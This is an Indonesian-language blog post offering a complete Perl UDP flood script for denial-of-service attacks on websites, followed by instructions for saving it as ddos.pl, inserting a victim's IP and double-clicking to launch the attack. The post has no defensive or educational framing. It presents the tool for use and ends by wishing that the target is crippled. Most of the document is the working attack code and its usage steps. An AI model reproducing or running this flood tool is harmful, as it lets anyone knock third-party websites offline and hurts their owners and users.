Contoh Script Perl Untuk DDOS

Download Script Perl DDOS - Kumpulan Script Perl DDOS - Kumpulan Software DDOS Online - Kali ini Info Online akan membagi pengetahuan di bidang Hacking. Perl adalah suatu software yang digunakan untuk menyerang otomatis ke sebuah target website dengan membanjiri lalu lintas pengunjung website tersebut.

Perl for Windows 32 Bit :

Download Perl for Windows 32 Bit

Perl for Windows 64 Bit :

Download Perl for Windows 64 Bit

Script Perl untuk DDOS :

    #!/usr/bin/perl START SCRIPT
   
print q{

};

    use Socket;
    use strict;
   
    my ($ip) = "IP Target";
    my ($port) = 0;
    my ($size) = 0;
    my ($time) = 0;
   
    my ($iaddr,$endtime,$psize,$pport);
   
    $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
    $endtime = time() + ($time ? $time : 1000000);
   
    socket(flood, PF_INET, SOCK_DGRAM, 17);
   
   
    print "Flooding $ip " . ($port ? $port : "random") . " port with " .
      ($size ? "$size-byte" : "random size") . " packets" .
      ($time ? " for $time seconds" : "") . "\n";
   

    for (;time() <= $endtime;) {
      $psize = $size ? $size : int(rand(1024-64)+64) ;
      $pport = $port ? $port : int(rand(65500))+1;
   
      send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));

   
      print ("$ip:$pport packet size: $psize\n");
 }

Cara Membuat Perl untuk DDOS :

1. Copy semua kode diatas kedalam notepad.
2. Simpan, lalu pilih Save as type dengan All Files. dan File Name nya menjadi berakhiran .pl . Contoh ddos.pl

Catatan :
Tulisan IP Target diganti dengan IP yang ingin sobat DDOS

Cara Penggunaan Perl DDOS :

1. Download dan Install Active Perl diatas
2. Klik dua kali file yang sudah kita buat dari notepad
3. Maka Tools akan otomatis attack target yang ingin di DDOS

Sekian mengenai Contoh Script Perl Untuk DDOS semoga targetnya lumpuh.